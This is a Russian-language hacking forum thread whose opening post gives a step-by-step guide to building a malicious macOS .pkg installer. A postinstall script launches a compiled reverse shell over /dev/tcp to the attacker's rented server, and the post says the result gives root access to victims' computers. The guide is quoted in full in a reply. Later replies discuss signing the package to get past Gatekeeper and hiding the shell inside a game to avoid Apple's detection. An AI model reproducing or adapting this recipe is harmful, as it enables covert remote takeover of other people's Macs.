• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья macOS pkg malware

Отслеживать
k1ddddos

k1ddddos

(L3) cache
Пользователь
Регистрация
02.05.2023
Сообщения
290
Реакции
43
Дисклеймер: в образовательных целях

Всем привет! Я снова вернулся к apple и их продуктам. Нашел довольно интересный способ заражения через pkg с root-правами. Реализовать не сложно, поэтому погнали

1. Cкачиваем Package Builder
2. пишем скрипты sh и ставим shc
brew install shc

Bash: 
#postinstall.sh
#!/bin/bash
./check

для файла postinstall.sh пишем команду
Код: 
chmod +x postinstall.sh

Bash: 
#check.sh
#!/bin/sh
bash -i >& /dev/tcp/<ip>/<port> 0>&1 &

Собираем файл check.sh командами
Код: 
chmod +x check.sh
shc -f check.sh
gcc -o check check.sh.x.c
chmod +x check
./check

3. Открываем прогу Package Builder создаем пакет и заполняем информацию
1.png


Чудно сделали дальше добавляем наши скрипты

2.png


Так остается подписать пакет apple developer сертфикатом и можно устанавливать на чужие компы. Я им не подписывал заработало, и у вас должно.
Нажимаем на молоточек чтобы собрать пакет
3.png

4. Покупаем дедик для принятия коннектов и его айпи введите в файле check.sh с портом. вводим команду nc -lvnp <port>

5. Получаем профит пользователь вводит пароль софт устанавливается идет скриптинг и к нам на сервер приходит root доступ к компьютеру, а через команду
open -a TextEdit можем запускать приложение блокнот и не только


the end.png
 
Последнее редактирование:
k1ddddos сказал(а):
Дисклеймер: в образовательных целях

Всем привет! Я снова вернулся к apple и их продуктам. Нашел довольно интересный способ заражения через pkg с root-правами. Реализовать не сложно, поэтому погнали

1. Cкачиваем Package Builder
2. пишем скрипты sh и ставим shc
brew install shc

Bash: 
#postinstall.sh
#!/bin/bash
./checking

для файла postinstall.sh пишем команду
Код: 
chmod +x postinstall.sh

Bash: 
#check.sh
#!/bin/sh
bash -i >& /dev/tcp/<ip>/<port> 0>&1 &

Собираем файл check.sh командами
Код: 
shc -f check.sh
gcc -o checking check.sh.x.c
chmod +x checking
./checking

3. Открываем прогу Package Builder создаем пакет и заполняем информацию
Посмотреть вложение 107044

Чудно сделали дальше добавляем наши скрипты

Посмотреть вложение 107045

Так остается подписать пакет apple developer сертфикатом и можно устанавливать на чужие компы. Я им не подписывал заработало и у вас должно.
Нажимаем на молоточек чтобы собрать пакет
Посмотреть вложение 107046
4. Покупаем дедик для принятия коннектов и его айпи введите в файле check.sh с портом. вводим команду nc -lvnp <port>

5. Получаем профит пользователь вводит пароль софт устанавливается идет скриптинг и у к нам на сервер приходит root доступ к компьютеру, а через команду
open -a TextEdit можем запускать приложение блокнот и не только


Посмотреть вложение 107047
скорее всего ее выложат на lolz как сделали с Ghost Framework
 
Последнее редактирование:
k1ddddos сказал(а):
Так остается подписать пакет apple developer сертфикатом
А как подписать пакет? У меня без сертификата работает локально - но на другой машине - уже вообще не запускает вообще инсталятор, так как неизвестный разработчик
 
ping3r сказал(а):
А как подписать пакет? У меня без сертификата работает локально - но на другой машине - уже вообще не запускает вообще инсталятор, так как неизвестный разработчик
Там вроде нужно иметь аккаунт apple developer чтобы распространять
 
k1ddddos сказал(а):
Там вроде нужно иметь аккаунт apple developer чтобы распространять
В проге package builder можно подписать, но если нету аккаунта apple developer то увы
 
Пожалуйста, обратите внимание, что пользователь заблокирован
ping3r сказал(а):
А как подписать пакет? У меня без сертификата работает локально - но на другой машине - уже вообще не запускает вообще инсталятор, так как неизвестный разработчик
I saw you cheating people.Is the forum closed because someone got cheated?
Why are you asking this?
You want to do this and sell the public for a few thousand dollars,
like you always did, you cheated my friend for 2k$ and then just deleted the chat and disappeared
It's a pity there is no way to open arbitration since you deleted all the correspondence
 
TNeymAR сказал(а):
I saw you cheating people.Is the forum closed because someone got cheated?
Why are you asking this?
You want to do this and sell the public for a few thousand dollars,
like you always did, you cheated my friend for 2k$ and then just deleted the chat and disappeared
It's a pity there is no way to open arbitration since you deleted all the correspondence
This is such a bullshit, omg. I'm sorry for keep spamming in the topic, but this guy is spreading huge misinformation! It's some kind of toxic -rep bot... Look at all of his activity, all he's doing is blaming people and being toxic over and over again.
 
k1ddddos сказал(а):
В проге package builder можно подписать, но если нету аккаунта apple developer то увы
Я даже не могу подписать ad-hoc адекватно. Все равно при открытии на другом девайсе - пишет что невозможно открыть файл от неизвесного девелопера. .pkg вообще никак не подписать без apple developer account?

И если таки раздобыть такой акк - то какая вероятность того что эпл просто сразу поймут что к чему и в бан пошлют?
 
ping3r сказал(а):
Я даже не могу подписать ad-hoc адекватно. Все равно при открытии на другом девайсе - пишет что невозможно открыть файл от неизвесного девелопера. .pkg вообще никак не подписать без apple developer account?

И если таки раздобыть такой акк - то какая вероятность того что эпл просто сразу поймут что к чему и в бан пошлют?
никак без developer аккаунта
 
k1ddddos сказал(а):
Там вроде нужно иметь аккаунт apple developer чтобы распространять
только на локалхосте работает?
k1ddddos сказал(а):
никак без developer аккаунта
заражение себя только ?
k1ddddos сказал(а):
скорее всего ее выложат на lolz как сделали с Ghost Framework
так тут выкладывать нечего
 
nixz сказал(а):
только на локалхосте работает?

заражение себя только ?

так тут выкладывать нечего
да только на локалхосте чтобы других нужен аккаунт apple developer без него никуда
 
k1ddddos сказал(а):
да только на локалхосте чтобы других нужен аккаунт apple developer без него никуда
Так вопрос остаётся открытым. Даже если у меня будет apple dev account - какая вероятность что даже если я спрячу эту строку кода с двухсторонним шел за кодом какой-то консольной игры, или чего-то такого - подписавши, apple проверки не засекут и не отправят в бан и аккаунт и все подписанные ним билды?
 
ping3r сказал(а):
Так вопрос остаётся открытым. Даже если у меня будет apple dev account - какая вероятность что даже если я спрячу эту строку кода с двухсторонним шел за кодом какой-то консольной игры, или чего-то такого - подписавши, apple проверки не засекут и не отправят в бан и аккаунт и все подписанные ним билды?
на этот счет сказать ничего не могу, у меня есть apple developer аккаунт, поэтому если хотите я могу снять второй видос уже с подписанным pkg как он работает на вирутуалке
 
admin


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх